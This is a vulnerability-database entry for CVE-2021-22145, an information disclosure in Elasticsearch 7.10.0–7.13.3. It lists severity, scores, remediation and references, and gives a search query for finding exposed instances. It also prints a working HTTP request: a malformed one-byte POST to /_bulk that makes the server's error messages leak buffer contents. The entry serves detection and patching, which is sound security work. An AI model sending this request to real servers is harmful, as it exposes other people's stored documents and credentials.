🔙 목록으로 돌아가기

CVE-2021-22145: Elasticsearch 7.10.0-7.13.3 - Information Disclosure

TitleElasticsearch 7.10.0-7.13.3 - Information Disclosure
AuthordhiyaneshDk
SeverityMedium
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
RemediationUpgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
CVSS Score6.5
EPSS Score0.65695
CVE IDCVE-2021-22145
CWE IDCWE-209
Fofa Queryindex_not_found_exception
Tags cve2021 cve elasticsearch packetstorm elastic vuln

🔍 Vulnerability Description

ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.

🌐 HTTP Request

POST /_bulk HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.2
Connection: close
Content-Length: 3
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

@

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22145.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-22145.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A